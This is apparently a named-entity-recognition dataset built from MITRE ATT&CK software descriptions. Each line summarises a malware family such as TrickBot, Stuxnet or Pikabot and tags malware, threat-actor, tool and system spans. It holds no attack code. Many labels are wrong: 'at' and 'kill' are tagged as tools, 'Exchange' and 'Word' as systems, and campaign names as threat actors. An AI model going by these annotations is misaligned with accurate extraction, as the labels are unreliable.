{"text": "HDoor is malware that has been customized and used by the Naikon group.", "spans": {"MALWARE: HDoor": [[0, 5]], "THREAT_ACTOR: Naikon": [[58, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0061"}}
{"text": "TrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.", "spans": {"MALWARE: TrickBot": [[0, 8], [122, 130]], "MALWARE: Dyre": [[116, 120]], "THREAT_ACTOR: Wizard Spider": [[167, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0266"}}
{"text": "cd00r is an open-source backdoor for UNIX and UNIX-variant operating systems that was orginally released in 2000. cd00r source code is primarily based on a packet-capturing program as it utilizes a sniffer to listen for specific sequences of network traffic or \"secret knock\" before executing the attacker's code.", "spans": {"MALWARE: cd00r": [[0, 5], [114, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1204"}}
{"text": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.", "spans": {"MALWARE: PowerDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[41, 46]], "SYSTEM: Microsoft Word": [[96, 110]], "SYSTEM: Excel": [[114, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0139"}}
{"text": "EKANS is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. EKANS has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in MegaCortex.", "spans": {"MALWARE: EKANS": [[0, 5], [260, 265]], "TOOL: kill": [[288, 292]], "MALWARE: MegaCortex": [[444, 454]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0605"}}
{"text": "BLINDINGCAN is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.", "spans": {"MALWARE: BLINDINGCAN": [[0, 11]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0520"}}
{"text": "Ninja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020.  Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.", "spans": {"MALWARE: Ninja": [[0, 5], [138, 143], [295, 300]], "THREAT_ACTOR: ToddyCat": [[58, 66], [212, 220]], "TOOL: at": [[122, 124]], "MALWARE: Samurai": [[435, 442]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1100"}}
{"text": "Pikabot is a backdoor used for initial access and follow-on tool deployment active since early 2023. Pikabot is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. Pikabot has some overlaps with QakBot, but insufficient evidence exists to definitively link these two malware families. Pikabot is frequently used to deploy follow on tools such as Cobalt Strike or ransomware variants.", "spans": {"MALWARE: Pikabot": [[0, 7], [101, 108], [241, 248], [362, 369]], "MALWARE: QakBot": [[272, 278]], "TOOL: Cobalt Strike": [[423, 436]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1145"}}
{"text": "Wiarp is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Wiarp": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0206"}}
{"text": "RCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).", "spans": {"MALWARE: RCSession": [[0, 9]], "TOOL: at": [[66, 68]], "THREAT_ACTOR: Mustang Panda": [[83, 96]], "THREAT_ACTOR: Threat Group-3390": [[104, 121]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0662"}}
{"text": "Spark is a Windows backdoor and has been in use since as early as 2017.", "spans": {"MALWARE: Spark": [[0, 5]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0543"}}
{"text": "QuietSieve is an information stealer that has been used by Gamaredon Group since at least 2021.", "spans": {"MALWARE: QuietSieve": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[59, 74]], "TOOL: at": [[81, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0686"}}
{"text": "SynAck is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017.", "spans": {"MALWARE: SynAck": [[0, 6]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0242"}}
{"text": "Bumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.", "spans": {"MALWARE: Bumblebee": [[0, 9], [204, 213]], "TOOL: at": [[183, 185]], "MALWARE: Conti": [[265, 270]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1039"}}
{"text": "MURKYTOP is a reconnaissance tool used by Leviathan.", "spans": {"MALWARE: MURKYTOP": [[0, 8]], "THREAT_ACTOR: Leviathan": [[42, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0233"}}
{"text": "AcidRain is an ELF binary targeting modems and routers using MIPS architecture. AcidRain is associated with the ViaSat KA-SAT communication outage that took place during the initial phases of the 2022 full-scale invasion of Ukraine. Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with Sandworm Team. US and European government sources linked AcidRain to Russian government entities, while Ukrainian government sources linked AcidRain specifically to Sandworm Team.", "spans": {"MALWARE: AcidRain": [[0, 8], [80, 88], [391, 399], [474, 482]], "THREAT_ACTOR: Sandworm Team": [[334, 347], [499, 512]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1125"}}
{"text": "GRIFFON is a JavaScript backdoor used by FIN7.", "spans": {"MALWARE: GRIFFON": [[0, 7]], "SYSTEM: JavaScript": [[13, 23]], "THREAT_ACTOR: FIN7": [[41, 45]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0417"}}
{"text": "Exaramel for Windows is a backdoor used for targeting Windows systems. The Linux version is tracked separately under Exaramel for Linux.", "spans": {"MALWARE: Exaramel for Windows": [[0, 20]], "SYSTEM: Windows": [[54, 61]], "SYSTEM: Linux": [[75, 80]], "MALWARE: Exaramel for Linux": [[117, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0343"}}
{"text": "Amadey is a Trojan bot that has been used since at least October 2018.", "spans": {"MALWARE: Amadey": [[0, 6]], "TOOL: at": [[48, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1025"}}
{"text": "JumbledPath is a custom-built utility written in GO that has been used by Salt Typhoon since at least 2024 for packet capture on remote Cisco devices. JumbledPath is compiled as an ELF binary using x86-64 architecture which makes it potentially useable across Linux operating systems and network devices from multiple vendors.", "spans": {"MALWARE: JumbledPath": [[0, 11], [151, 162]], "THREAT_ACTOR: Salt Typhoon": [[74, 86]], "TOOL: at": [[93, 95]], "SYSTEM: Cisco": [[136, 141]], "SYSTEM: Linux": [[260, 265]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1206"}}
{"text": "RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.", "spans": {"MALWARE: RDFSNIFFER": [[0, 10]], "MALWARE: BOOSTWRITE": [[33, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0416"}}
{"text": "NICECURL is a VBScript-based backdoor used by APT42 to download additional modules.", "spans": {"MALWARE: NICECURL": [[0, 8]], "SYSTEM: VBScript": [[14, 22]], "THREAT_ACTOR: APT42": [[46, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1192"}}
{"text": "Proxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process.", "spans": {"MALWARE: Proxysvc": [[0, 8], [221, 229]], "THREAT_ACTOR: Lazarus Group": [[36, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0238"}}
{"text": "Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files.", "spans": {"MALWARE: Orz": [[0, 3]], "SYSTEM: JavaScript": [[16, 26]], "THREAT_ACTOR: Leviathan": [[44, 53]], "ORGANIZATION: Microsoft": [[139, 148]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0229"}}
{"text": "Torisma is a second stage implant designed for specialized monitoring that has been used by Lazarus Group. Torisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.", "spans": {"MALWARE: Torisma": [[0, 7], [107, 114]], "THREAT_ACTOR: Lazarus Group": [[92, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0678"}}
{"text": "NOKKI is a modular remote access tool. The earliest observed attack using NOKKI was in January 2018. NOKKI has significant code overlap with the KONNI malware family. There is some evidence potentially linking NOKKI to APT37.", "spans": {"MALWARE: NOKKI": [[0, 5], [74, 79], [101, 106], [210, 215]], "MALWARE: KONNI": [[145, 150]], "THREAT_ACTOR: APT37": [[219, 224]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0353"}}
{"text": "yty is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages.", "spans": {"MALWARE: yty": [[0, 3]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0248"}}
{"text": "Backdoor.Oldrea is a modular backdoor that used by Dragonfly against energy companies since at least 2013. Backdoor.Oldrea was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.", "spans": {"MALWARE: Backdoor.Oldrea": [[0, 15], [107, 122]], "THREAT_ACTOR: Dragonfly": [[51, 60]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0093"}}
{"text": "DOGCALL is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit.", "spans": {"MALWARE: DOGCALL": [[0, 7]], "THREAT_ACTOR: APT37": [[30, 35]], "SYSTEM: Word": [[164, 168]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0213"}}
{"text": "Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines. Stuxnet was discovered in 2010, with some components being used as early as November 2008.", "spans": {"MALWARE: Stuxnet": [[0, 7], [116, 123], [317, 324]], "SYSTEM: Windows": [[268, 275]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0603"}}
{"text": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.", "spans": {"MALWARE: Downdelph": [[0, 9]], "THREAT_ACTOR: APT28": [[78, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0134"}}
{"text": "RotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).", "spans": {"MALWARE: RotaJakiro": [[0, 10], [127, 137]], "SYSTEM: Linux": [[23, 28]], "THREAT_ACTOR: APT32": [[46, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1078"}}
{"text": "AvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.", "spans": {"MALWARE: AvosLocker": [[0, 10], [318, 328]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1053"}}
{"text": "SEASHARPEE is a Web shell that has been used by OilRig.", "spans": {"MALWARE: SEASHARPEE": [[0, 10]], "THREAT_ACTOR: OilRig": [[48, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0185"}}
{"text": "Get2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.", "spans": {"MALWARE: Get2": [[0, 4]], "THREAT_ACTOR: TA505": [[58, 63]], "MALWARE: FlawedGrace": [[75, 86]], "MALWARE: FlawedAmmyy": [[88, 99]], "MALWARE: SDBbot": [[112, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0460"}}
{"text": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server.", "spans": {"MALWARE: POWRUNER": [[0, 8]], "TOOL: PowerShell": [[14, 24]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0184"}}
{"text": "KOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.", "spans": {"MALWARE: KOPILUWAK": [[0, 9]], "SYSTEM: JavaScript": [[15, 25]], "TOOL: at": [[105, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1075"}}
{"text": "RobbinHood is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.", "spans": {"MALWARE: RobbinHood": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0400"}}
{"text": "MEDUSA is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.", "spans": {"MALWARE: MEDUSA": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1220"}}
{"text": "VersaMem is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, VersaMem was used during Versa Director Zero Day Exploitation by Volt Typhoon to target ISPs and MSPs.  VersaMem is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.", "spans": {"MALWARE: VersaMem": [[0, 8], [125, 133], [229, 237]], "THREAT_ACTOR: Versa Director Zero Day Exploitation": [[150, 186]], "THREAT_ACTOR: Volt Typhoon": [[190, 202]], "SYSTEM: Java": [[255, 259], [386, 390]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1154"}}
{"text": "Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz.", "spans": {"MALWARE: Power Loader": [[0, 12]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0177"}}
{"text": "TDTESS is a 64-bit .NET binary backdoor used by CopyKittens.", "spans": {"MALWARE: TDTESS": [[0, 6]], "SYSTEM: .NET": [[19, 23]], "THREAT_ACTOR: CopyKittens": [[48, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0164"}}
{"text": "Chinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.", "spans": {"MALWARE: Chinoxy": [[0, 7], [188, 195]], "TOOL: at": [[47, 49]], "THREAT_ACTOR: FunnyDream": [[82, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1041"}}
{"text": "SharpStage is a .NET malware with backdoor capabilities.", "spans": {"MALWARE: SharpStage": [[0, 10]], "SYSTEM: .NET": [[16, 20]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0546"}}
{"text": "PAKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. PAKLOG is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious PAKLOG DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the PAKLOG DLL which starts with the keylogger functionality.", "spans": {"MALWARE: PAKLOG": [[0, 6], [102, 108], [242, 248], [317, 323]], "THREAT_ACTOR: Mustang Panda": [[47, 60]], "TOOL: RAR": [[127, 130]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1233"}}
{"text": "COATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: <code>“She took his coat and hung it up”</code>.", "spans": {"MALWARE: COATHANGER": [[0, 10], [212, 222], [370, 380], [519, 529]], "SYSTEM: FortiGate": [[51, 60], [420, 429]], "CVE_ID: CVE-2022-42475": [[494, 508]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1105"}}
{"text": "Sardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.", "spans": {"MALWARE: Sardonic": [[0, 8], [158, 166]], "THREAT_ACTOR: FIN8": [[72, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1085"}}
{"text": "Smoke Loader is a malicious bot application that can be used to load other malware.\nSmoke Loader has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins.", "spans": {"MALWARE: Smoke Loader": [[0, 12], [84, 96]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0226"}}
{"text": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.", "spans": {"MALWARE: HALFBAKED": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0151"}}
{"text": "WindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back aka KitM OSX.", "spans": {"MALWARE: WindTail": [[0, 8], [60, 68]], "SYSTEM: macOS": [[14, 19]], "THREAT_ACTOR: Windshift": [[49, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0466"}}
{"text": "Misdat is a backdoor that was used in Operation Dust Storm from 2010 to 2011.", "spans": {"MALWARE: Misdat": [[0, 6]], "THREAT_ACTOR: Operation Dust Storm": [[38, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0083"}}
{"text": "reGeorg is an open-source web shell written in Python that can be used as a proxy to bypass firewall rules and tunnel data in and out of targeted networks.", "spans": {"MALWARE: reGeorg": [[0, 7]], "SYSTEM: Python": [[47, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1187"}}
{"text": "FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims.", "spans": {"MALWARE: FLIPSIDE": [[0, 8]], "TOOL: Plink": [[37, 42]], "THREAT_ACTOR: FIN5": [[59, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0173"}}
{"text": "Linux Rabbit is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.", "spans": {"MALWARE: Linux Rabbit": [[0, 12]], "SYSTEM: Linux": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0362"}}
{"text": "adbupd is a backdoor used by PLATINUM that is similar to Dipsind.", "spans": {"MALWARE: adbupd": [[0, 6]], "THREAT_ACTOR: PLATINUM": [[29, 37]], "MALWARE: Dipsind": [[57, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0202"}}
{"text": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.", "spans": {"MALWARE: Emissary": [[0, 8]], "THREAT_ACTOR: Lotus Blossom": [[43, 56]], "MALWARE: Elise": [[78, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0082"}}
{"text": "Exaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.", "spans": {"MALWARE: Exaramel for Linux": [[0, 18]], "SYSTEM: Windows": [[113, 120]], "MALWARE: Exaramel for Windows": [[157, 177]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0401"}}
{"text": "KEYMARBLE is a Trojan that has reportedly been used by the North Korean government.", "spans": {"MALWARE: KEYMARBLE": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0271"}}
{"text": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.", "spans": {"MALWARE: BUBBLEWRAP": [[0, 10]], "THREAT_ACTOR: admin@338": [[65, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0043"}}
{"text": "HAWKBALL is a backdoor that was observed in targeting of the government sector in Central Asia.", "spans": {"MALWARE: HAWKBALL": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0391"}}
{"text": "TAMECAT is a malware that is used by APT42 to execute PowerShell or C# content.", "spans": {"MALWARE: TAMECAT": [[0, 7]], "THREAT_ACTOR: APT42": [[37, 42]], "TOOL: PowerShell": [[54, 64]], "SYSTEM: C#": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1193"}}
{"text": "PS1 is a loader that was used to deploy 64-bit backdoors in the CostaRicto campaign.", "spans": {"MALWARE: PS1": [[0, 3]], "THREAT_ACTOR: CostaRicto": [[64, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0613"}}
{"text": "Ursnif is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, Spearphishing Attachments, and malicious links. Ursnif is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.", "spans": {"MALWARE: Ursnif": [[0, 6], [169, 175]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0386"}}
{"text": "CASTLETAP is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by UNC3886.", "spans": {"MALWARE: CASTLETAP": [[0, 9]], "SYSTEM: FortiGate": [[83, 92]], "THREAT_ACTOR: UNC3886": [[106, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1224"}}
{"text": "ThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations.  It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.", "spans": {"MALWARE: ThreatNeedle": [[0, 12]], "THREAT_ACTOR: Lazarus Group": [[49, 62], [198, 211]], "TOOL: at": [[69, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0665"}}
{"text": "RansomHub is a ransomware-as-a-service (RaaS) offering with Windows, ESXi, Linux, and FreeBSD versions that has been in use since at least 2024 to target organizations in multiple sectors globally. RansomHub operators may have purchased and rebranded resources from Knight  (formerly Cyclops) Ransomware which shares infrastructure, feature, and code overlaps with RansomHub.", "spans": {"MALWARE: RansomHub": [[0, 9], [198, 207], [365, 374]], "SYSTEM: Windows": [[60, 67]], "SYSTEM: Linux": [[75, 80]], "SYSTEM: FreeBSD": [[86, 93]], "TOOL: at": [[130, 132]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1212"}}
{"text": "ZLib is a full-featured backdoor that was used as a second-stage implant during Operation Dust Storm since at least 2014. ZLib is malware and should not be confused with the legitimate compression library from which its name is derived.", "spans": {"MALWARE: ZLib": [[0, 4], [122, 126]], "THREAT_ACTOR: Operation Dust Storm": [[80, 100]], "TOOL: at": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0086"}}
{"text": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.", "spans": {"MALWARE: RedLeaves": [[0, 9]], "THREAT_ACTOR: menuPass": [[38, 46]], "MALWARE: PlugX": [[71, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0153"}}
{"text": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.", "spans": {"MALWARE: Miner-C": [[0, 7]], "TOOL: FTP": [[85, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0133"}}
{"text": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.", "spans": {"MALWARE: POWERSOURCE": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "SYSTEM: DNS": [[118, 121]], "SYSTEM: Exchange": [[255, 263]], "TOOL: at": [[289, 291]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0145"}}
{"text": "LITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.", "spans": {"MALWARE: LITTLELAMB.WOOLTEA": [[0, 18]], "THREAT_ACTOR: Cutting Edge": [[65, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1121"}}
{"text": "Felismus is a modular backdoor that has been used by Sowbug.", "spans": {"MALWARE: Felismus": [[0, 8]], "THREAT_ACTOR: Sowbug": [[53, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0171"}}
{"text": "Zeus Panda is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. Zeus Panda’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.", "spans": {"MALWARE: Zeus Panda": [[0, 10], [111, 121]], "SYSTEM: Windows": [[276, 283]], "SYSTEM: Windows XP": [[315, 325]], "SYSTEM: Windows 10": [[334, 344]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0330"}}
{"text": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.", "spans": {"MALWARE: GeminiDuke": [[0, 10]], "THREAT_ACTOR: APT29": [[39, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0049"}}
{"text": "Havoc is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. Havoc provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over compromised systems.", "spans": {"MALWARE: Havoc": [[0, 5], [213, 218]], "SYSTEM: GitHub": [[95, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1229"}}
{"text": "CARROTBAT is a customized dropper that has been in use since at least 2017. CARROTBAT has been used to install SYSCON and has infrastructure overlap with KONNI.", "spans": {"MALWARE: CARROTBAT": [[0, 9], [76, 85]], "TOOL: at": [[61, 63]], "MALWARE: SYSCON": [[111, 117]], "MALWARE: KONNI": [[154, 159]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0462"}}
{"text": "Matryoshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences.", "spans": {"MALWARE: Matryoshka": [[0, 10]], "THREAT_ACTOR: CopyKittens": [[42, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0167"}}
{"text": "FrameworkPOS is a point of sale (POS) malware used by FIN6 to steal payment card data from sytems that run physical POS devices.", "spans": {"MALWARE: FrameworkPOS": [[0, 12]], "THREAT_ACTOR: FIN6": [[54, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0503"}}
{"text": "GravityRAT is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India.", "spans": {"MALWARE: GravityRAT": [[0, 10]], "ORGANIZATION: CERT": [[300, 304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0237"}}
{"text": "WEBC2 is a family of backdoor malware used by APT1 as early as July 2006. WEBC2 backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server.", "spans": {"MALWARE: WEBC2": [[0, 5], [74, 79]], "THREAT_ACTOR: APT1": [[46, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0109"}}
{"text": "Prestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.", "spans": {"MALWARE: Prestige": [[0, 8]], "THREAT_ACTOR: Sandworm Team": [[37, 50]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1058"}}
{"text": "InvisibleFerret is a modular python malware that is leveraged for data exfiltration and remote access capabilities.   InvisibleFerret consists of four modules: main, payload, browser, and AnyDesk.  InvisibleFerret malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or Contagious Interview since 2023.  InvisibleFerret has historically been introduced to the victim environment through the use of the BeaverTail malware.", "spans": {"MALWARE: InvisibleFerret": [[0, 15], [118, 133], [198, 213], [353, 368]], "TOOL: AnyDesk": [[188, 195]], "THREAT_ACTOR: Contagious Interview": [[319, 339]], "MALWARE: BeaverTail": [[451, 461]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1245"}}
